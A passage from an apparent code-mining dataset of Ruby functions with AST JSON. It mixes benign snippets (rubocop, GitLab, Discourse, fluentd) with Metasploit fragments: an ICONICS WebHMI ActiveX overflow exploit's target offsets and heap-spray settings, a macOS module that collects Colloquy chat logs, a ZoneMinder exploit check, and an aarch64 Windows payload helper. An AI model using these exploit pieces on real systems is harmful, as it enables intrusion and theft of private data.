        'BadChars' => \"\\x00\",\n          'StackAdjustment' => -3500,\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => \"seh\",\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            'Automatic', {}\n          ],\n          [\n            'IE 6/7/8 on Windows XP SP3',\n            {\n              'Offset' => 510, # Offset to where ROP gadgets begin\n              'Ret' => 0x770167b0,  # PUSH ESP; POP EBP; RETN 8\n              'Max' => 4500,        # Max buffer size used\n            },\n          ],\n          [\n            'IE 7 on Windows Vista',\n            {\n              'Ret' => 0x0c0c0c0c,  # Target spray\n              'blockSize' => \"0x1000\",\n              'spraySize' => \"0x8500\",\n              'Max' => 4500,\n            },\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-05-05',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ICONICS WebHMI ActiveX Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.\\n\"]},{\"type\":\"str\",\"children\":[\"          By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll\\n\"]},{\"type\":\"str\",\"children\":[\"          fails to do any proper bounds checking before this input is copied onto the stack,\\n\"]},{\"type\":\"str\",\"children\":[\"          which causes a buffer overflow, and results arbitrary code execution under the context\\n\"]},{\"type\":\"str\",\"children\":[\"          of the user.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Scoot Bell <scott.bell[at]security-assessment.com>\"]},{\"type\":\"str\",\"children\":[\"Blair Strang <blair.strang[at]security-assessment.com>\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-2089\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"72135\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"17240\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 6/7/8 on Windows XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[510]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1996580784]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Max\"]},{\"type\":\"int\",\"children\":[4500]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 7 on Windows Vista\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[202116108]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"blockSize\"]},{\"type\":\"str\",\"children\":[\"0x1000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"spraySize\"]},{\"type\":\"str\",\"children\":[\"0x8500\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Max\"]},{\"type\":\"int\",\"children\":[4500]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-05-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"f350ffab-8e05-4a7f-9a44-e22c9aa4c073"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/enum_colloquy.rb","start_line":148,"raw_source":"def run\n    if action.nil?\n      print_error('Please specify an action')\n      return\n    end\n\n    @peer = \"#{session.session_host}:#{session.session_port}\"\n    user = whoami\n\n    # Examples:\n    # /Users/[user]/Library/Preferences/info.colloquy.plist\n    # /Users/[user]/Documents/Colloquy Transcripts\n    # /Users/[user]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript\n    transcripts_path = \"/Users/#{user}/Documents/Colloquy Transcripts/\"\n    prefs_path = \"/Users/#{user}/Library/Preferences/info.colloquy.plist\"\n\n    prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i\n    chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i\n\n    save(:preferences, prefs) if !prefs.nil? && !prefs.empty?\n    save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?\n  end","complexity_score":40.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Please specify an action\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_port\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"whoami\"]}]},{\"type\":\"lvasgn\",\"children\":[\"transcripts_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/Users/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"/Documents/Colloquy Transcripts/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefs_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/Users/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"/Library/Preferences/info.colloquy.plist\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ALL|ACCOUNTS\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefs\",{\"type\":\"send\",\"children\":[null,\"get_preferences\",{\"type\":\"lvar\",\"children\":[\"prefs_path\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ALL|CHATS\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chatlogs\",{\"type\":\"send\",\"children\":[null,\"get_chatlogs\",{\"type\":\"lvar\",\"children\":[\"transcripts_path\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefs\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefs\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"save\",{\"type\":\"sym\",\"children\":[\"preferences\"]},{\"type\":\"lvar\",\"children\":[\"prefs\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chatlogs\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chatlogs\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"save\",{\"type\":\"sym\",\"children\":[\"chatlogs\"]},{\"type\":\"lvar\",\"children\":[\"chatlogs\"]}]},null]}]}]}","id":"2a6bc1e8-2b52-40e3-9f03-edded83c6d03"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/zoneminder_lang_exec.rb","start_line":56,"raw_source":"def check\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, '/index.php'),\n      'method' => 'GET'\n    )\n    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?\n    return Exploit::CheckCode::Safe(\"Check TARGETURI - unexpected HTTP response code: #{res.code}\") if res.code != 200\n\n    if res.body =~ /ZoneMinder/\n      csrf_magic = get_csrf_magic(res)\n      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/\n      return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}\n\n      res = send_request_cgi(\n        'uri' => normalize_uri(target_uri.path, '/index.php'),\n        'method' => 'GET',\n        'keep_cookies' => true\n      )\n    else\n      return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')\n    end\n\n    res.body.match(/v(1.\\d+.\\d+)/)\n    version = Regexp.last_match(1)\n    unless version\n      return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')\n    end\n\n    version = Rex::Version.new(version)\n\n    return Exploit::CheckCode::Appears(\"Version Detected: #{version}\") if version <= Rex::Version.new('1.37.10')\n\n    Exploit::CheckCode::Safe(\"Version Detected: #{version}\")\n  rescue ::Rex::ConnectionError\n    return Exploit::CheckCode::Unknown('Could not connect to the web service')\n  end","complexity_score":61.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"No response from the web service\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Check TARGETURI - unexpected HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ZoneMinder\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"csrf_magic\",{\"type\":\"send\",\"children\":[null,\"get_csrf_magic\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ZoneMinder Login\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"authenticate\",{\"type\":\"lvar\",\"children\":[\"csrf_magic\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<title>ZM - Login</title>\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Authentication failed\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Target is not a ZoneMinder web server\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"v(1.\\\\d+.\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Unable to determine ZoneMinder version\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.37.10\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Could not connect to the web service\"]}]}]}]},null]}]}","id":"4a4f8d5d-14d2-46cd-98d2-538fe3536558"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/array_min_size.rb","start_line":15,"raw_source":"def min_size_config\n        cop_config['MinSize']\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"min_size_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MinSize\"]}]}]}","id":"d401c286-ec3a-4367-b92d-96aa14a8cb7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/ci/code_paths_mapping.rb","start_line":100,"raw_source":"def code_paths_mapping_file(prefix, bucket = DEFAULT_BUCKET)\n          paginated_list(client.list_objects(bucket, prefix: prefix)).last&.name\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"code_paths_mapping_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix\"]},{\"type\":\"optarg\",\"children\":[\"bucket\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_BUCKET\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paginated_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"list_objects\",{\"type\":\"lvar\",\"children\":[\"bucket\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]}]}]},\"last\"]},\"name\"]}]}","id":"c10cff1c-f190-42a8-a469-f5b3dfdc699b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/stylesheets_controller.rb","start_line":91,"raw_source":"def handle_missing_cache(location, name, digest)\n    location = location.sub(\".css.map\", \".css\")\n    source_map_location = location + \".map\"\n    existing = read_file(location)\n\n    if existing && digest\n      source_map = read_file(source_map_location)\n      StylesheetCache.add(name, digest, existing, source_map)\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_missing_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"digest\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"sub\",{\"type\":\"str\",\"children\":[\".css.map\"]},{\"type\":\"str\",\"children\":[\".css\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_map_location\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"+\",{\"type\":\"str\",\"children\":[\".map\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"location\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing\"]},{\"type\":\"lvar\",\"children\":[\"digest\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_map\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"source_map_location\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StylesheetCache\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"digest\"]},{\"type\":\"lvar\",\"children\":[\"existing\"]},{\"type\":\"lvar\",\"children\":[\"source_map\"]}]}]},null]}]}]}","id":"0c8bbb27-3e92-46ae-95c8-c536778064ae"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/parser.rb","start_line":33,"raw_source":"def initialize(timeout)\n          @map = {}\n          @flag = ServerEngine::BlockingFlag.new\n          @mutex = Mutex.new\n          @timeout = timeout\n          @timeout_checker = nil\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@map\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@flag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"BlockingFlag\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timeout\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timeout_checker\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"045459a4-aae6-4539-8d10-1d788e74e52e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/aarch64/exec.rb","start_line":218,"raw_source":"def create_aarch64_string_in_stack(string)\n    str = string + \"\\x00\"\n    target = :x0 # The pointer to the string will be returned in x0 (first argument register).\n    stack = :x9  # x9 is used as a temporary pointer to write the string to the stack.\n\n    # Build the string 8 bytes at a time.\n    push_string = str.bytes.each_slice(8).flat_map do |chunk|\n      # Load the 8-byte chunk into the target register using a sequence of movz/movk.\n      mov_instructions = chunk.each_slice(2).with_index.map do |word, idx|\n        # NOTE: Chunks are reversed to build the little-endian value correctly in the register.\n        hex = word.reverse.map { |b| format('%02x', b) }.join\n        \"mov#{idx == 0 ? 'z' : 'k'} #{target}, #0x#{hex}#{idx == 0 ? '' : \", lsl ##{idx * 16}\"}\"\n      end\n      # Store the 8-byte value from the register onto the stack and advance the stack pointer.\n      [*mov_instructions, \"str #{target}, [#{stack}], #8\"]\n    end\n\n    # After writing, `stack` points just past the end of the string.\n    # We subtract the aligned size to get the pointer to the beginning of the string.\n    set_target_register = [\n      \"mov #{target}, #{stack}\",\n      \"sub #{target}, #{target}, ##{align(str.bytesize)}\"\n    ]\n    (push_string + set_target_register).join(\"\\n\")\n  end","complexity_score":39.43,"ast_json":"{\"type\":\"def\",\"children\":[\"create_aarch64_string_in_stack\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"sym\",\"children\":[\"x0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stack\",{\"type\":\"sym\",\"children\":[\"x9\"]}]},{\"type\":\"lvasgn\",\"children\":[\"push_string\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"bytes\"]},\"each_slice\",{\"type\":\"int\",\"children\":[8]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mov_instructions\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"each_slice\",{\"type\":\"int\",\"children\":[2]}]},\"with_index\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"word\"]},{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"reverse\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"%02x\"]},{\"type\":\"lvar\",\"chi